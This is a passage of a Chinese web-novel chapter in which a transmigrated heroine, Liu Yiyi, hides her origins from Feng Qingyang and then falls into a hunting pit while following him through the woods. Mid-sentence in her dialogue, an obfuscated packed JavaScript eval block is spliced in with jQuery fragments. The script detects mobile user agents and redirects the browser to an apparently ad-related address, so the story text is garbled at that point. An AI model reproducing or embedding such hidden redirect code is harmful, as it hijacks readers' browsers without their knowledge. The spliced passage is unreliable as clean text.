“什么仙岱?什么川岳?我母亲不曾说过这两处地方……”风清扬一脸迷茫,喃喃道。
“母亲?”
“嗯,亡母早逝,所提不多,我也只听她提起过阿拉伯……”
“原来不是你啊……我说看着也不像。可惜了,就是不知你母亲是身穿,还是魂穿了……”柳依依心念一转,明白了些,有些失望,嘀咕着。
“何为身穿?何为魂穿?”风清扬越听越迷糊。
柳依依只好继续解释:“唔,身穿就是某个人从一个地方瞬间到了另一个地方,和移形换影有点类似;魂穿就是魂魄离体,离开她本来的身体,附身到另一个人身上……”
“大胆!你怎可随意污蔑我家王……嗯……我家主母,是妖邪……”顾安一时激动非常,对着柳依依怒目而视。
“我没有啊……”
“你说移形、离体、附身,可不就是妖邪?”顾安愤怒出声。
柳依依被这突如其来的指责弄得有些发懵。
“顾安,不可无礼。柳姑娘方才应是无心之言。”风清扬安抚了顾安,拍了拍他的肩,又转头,对柳依依说道,“不过,这离魂、附身之言,姑娘以后还是慎言为好,以免引祸上身。”
“唔……真有这么严重?”
“自然。桑南自开国以来,最是禁忌遁形、移魂等巫术。凡修习与人魂相关之秘术,皆视为妖邪,早已被捕杀殆尽。后巫氏一族,也仅余占卜之能。如今若在闹市妄言谈论,仍有可能以妖言惑众之罪被下狱关押。”
柳依依越听,脸色越白,抓着风清扬的胳膊早已松开,一双眼珠黯淡无光,早已没了刚刚的神采。
“柳姑娘?你还好吗?”风清扬看她耷拉着脑袋,有些担心。
“唔……我没事。只是听你这么一说,有些吓着了。”柳依依按耐住心中的紧张不安,淡淡道。
她不禁感叹,还好刚刚没有一时嘴快,把自己的身份说出来,不然,她这条小命可就要交代了。看来以后,还得谨言慎行。
“那姑娘刚刚说的仙岱、川岳和阿拉伯,可有什么关系?”风清扬心中犹疑未解,忍不住继续探问。
“啊……没什么关系,我也是小时候听打猎的父亲说的,父亲已逝,且年代已久,许是我一时记岔了……啊哈……”柳依依摆了摆手,打着哈哈,含糊道。
“啊,对了,时候不早了,风公子是不是该打道回府了?小小农舍,招待不周,可不敢久留呐。”她突然起身,往门口走去,俨然一副送客的模样。
“唔,不妨事。柳姑娘总是如此细致,怎会招待不周。”风清扬犹自坐着,抿起了茶,暗暗思索着刚刚那一席话。
“公子,确实不早了,我们回吧。”顾安见状,在一旁小声提醒,还往柳依依处瞟了一眼。
风清扬这才回过神来,有些尴尬地起身。
这是怎么了,她好像又有些不高兴了?风清扬一时不得其解。
他缓缓踱着步子,被顾安引着,五步一回头地来到了屋外栓马的树旁。
孤影见他过来,低喘了一声,伸头在他下摆处轻蹭。
风清扬抚了抚爱马,站在树边,没有上马,却是侧耳倾听起屋内的动静。
“姐,我还想让风大哥教我骑马呢,你怎么就赶他走了?”柳二牛看家里一下子冷清了下来,有些闷闷不乐。
“人家忙着呢,可不是我赶的。”柳依依纠正道。
“才不是,肯定是风大哥又说了什么话,让你不高兴了,你才赶他走的。姐姐最近,越发小气了……”柳二牛摸着点心,哼着鼻子,小声嘟囔道。
“说我小气,嗯?那我把这些吃食也都退了去吧!”柳依依瞪了眼睛,假装生气道。
柳二牛吓得赶紧一把抱住眼前的点心包裹:“不行,这些我都拆过了,不能退了!”
柳依依被弟弟护食的样子逗得没了脾气,故作伤心道:“唉,一包吃食就把你收买了,说起自家人的不好了。那正好,姐姐做的吃食,都分给柳金宝那群娃娃去,也不用给你留了……”
“那可不行……”柳二牛听了,急忙松了抱着的点心,飞快跑去拽着姐姐的衣摆一阵摇晃。
“我呀,小气得很!干嘛听你的?”柳依依故意板着一张脸。
“不不,姐姐最好了,姐姐最是大度。是我小气,嘿嘿……”柳二牛忙不迭地改了口。
“那我要去山上伐些竹子,你去不去?”
“去去去……”柳二牛点头如捣蒜。
柳依依见弟弟这翻脸比翻书还快的搞笑模样,差点笑岔了气:“你呀,真是个活宝儿!”
于是,姐弟俩人提着砍刀,背着背篓,嬉笑着,出了门。
刚出门,一抬眼,就看到那个显眼的白色身影,仍立于树下。
柳依依停了脚步。
“风大哥,顾大哥,你们还没走呐?”柳二牛开心地跑过去,细细盯着孤影,一脸羡慕。
“唔……我突然想起,刚刚答应教你骑马来着。不过,你们这是要出门?”风清扬答得有些拘谨,没有看向柳依依。
“嗯,我们要去山上砍些竹子,一会儿就好。风大哥,你要不再等我一下?”柳二牛有些不舍。
“不如,伐竹之事,我替你去。你呢,带顾大哥将那些礼物送去付家,再让他陪着你,骑上孤影试试?”
“嗯嗯,这个主意好!”柳二牛立马就要去拉顾安。
柳依依见弟弟转头就被骑马的事勾了兴致,也没再强求。
“算了,我自己去就行,你就在这玩会儿吧。”然后独自一人往后山的密林走去。
风清扬拍了拍顾安的肩膀,未等他开口,就赶紧转身,跟在了柳依依身后。
顾安想劝阻,也没来得及。
柳依依一路上走得很快,没有回头。
风清扬体力不及,跟了许久,有些微喘,不得不停了脚步,稍作歇息。
柳依依进了密林,听到后面渐渐没了声响,才隐在暗处,往后看去。
只见风清扬并没有离开,却是在进了树林后,走岔了路,与她越来越远了。
柳依依没出声,见正好甩开了对方,便想继续沿着原本的方向,去往竹林。
约莫走了一小会儿,又担心对方倔强,一直寻不着她也不回头,在这山林里越走越深,迷了路。
叹了口气,终是又转身往风清扬走岔的方向跟去。
茂密的树林里,西斜的阳光透过树梢的缝隙,投射下来。一个瘦弱的白色身影,执着又缓慢地在密林里前行。
“风公子,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143218|164584||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你走错路了!”
柳依依远远地喊了一声。惊得头顶有鸟儿飞起,扑腾着去了别处。
风清扬正专心致志地看着前方,搜寻柳依依的身影,背后的突然一喊和陡然响起的飞鸟扑腾声,惊得他不禁脚下一滑。
“小心!”
柳依依见状,不由得出声提醒,却是已然来不及了。
风清扬所站的地方,正好是一处斜坡。因为这么一滑,整个人却是失了平衡,滚了下去。
柳依依急得甩了背篓和砍刀,飞奔过去,冲下斜坡。
慌乱步伐中,地上沙沙作响,枯叶翻飞。
突然,柳依依脚下一空,从厚厚的落叶里陷了进去,整个人往前一扑,天旋地转中,失去了意识。
日斜西下,慕色渐沉,直至月上柳梢。
昏暗的树林里,一个瘦弱的身影,从怀里掏出了一个火折子,点起了一堆篝火。
“嘶……好疼……”柳依依在一片橘红色的微光中悠悠转醒,觉得浑身像是散了架一般,尤其是左腿,钻心地疼。
“柳姑娘,你醒了吗?你现在觉得怎么样?”风清扬的声音从头顶传来,透着关心,单薄的身影笼在篝火投射出的光晕里,如梦如幻。
柳依依迷迷瞪瞪睁开眼,欣赏了几分美人风姿,又借着微微地火光,才看清楚此刻的情形。
她正侧躺在一个约莫深八尺、长五尺、宽四尺的深坑里,看起来是一个人工开挖的补猎陷阱。
原来,之前风清扬失足滚下山,倒是没有大碍。却是她,运气实在是差,一不小心,掉坑里了。
只是这坑,怎么看着有些熟悉?
她略一回想,才记起,正主十二岁时,初猎山猪,似乎就是挖的这么大一个坑,还在坑边放了兽夹,坑底装了倒刺。后来怕误伤了村民,便撤了兽夹和倒刺。但正主自诩地处偏僻,心存侥幸,一时犯懒,挖的坑却没填上。
只是,经年累月地,这坑又被掉落的枯枝树叶给盖了起来,不易察觉,而后被她不幸踩中。
咳,自己挖坑自己跳,她真是活该!
柳依依气得直咬牙。
风清扬正蹲在坑顶观察坑下女子的情况,却见她脸色一阵青白变幻,紧咬着下唇,神情很是痛苦,愈发担忧。
柳依依缓了缓,想试着先站起来,却发觉左脚无法受力,不知是骨折还是脱臼,尝试了两番,终是疼得坐了下来:“嘶……我的一只腿,嘶……动不了……”
她蹙着眉,吸着冷气,疼得嘴唇有些发抖。
“你别怕,我拉你上来……”风清扬立马趴了下来,伸出手。
柳依依忍着疼,撑着坑壁站起。
两手相握,风清扬使足了力气,却是拉不动,掌中急得出了汗。
柳依依脚下一疼,身体下坠,就从他手中滑了下去,跌坐在地,闷哼一声。
“对……对不起,我力气不够……”风清扬憋红了脸,有些羞愧,气恼自己这羸弱的身躯,什么忙也帮不上。
“嘶……怪我今日……嘶……吃得多了些……”柳依依抚着左腿,一边疼得直抽气,一边笑道。
风清扬当然听出她如此自嘲是为自己解围,却是更加自责,眼眶中隐隐有了湿意。
“不,怪我……甚是无用……”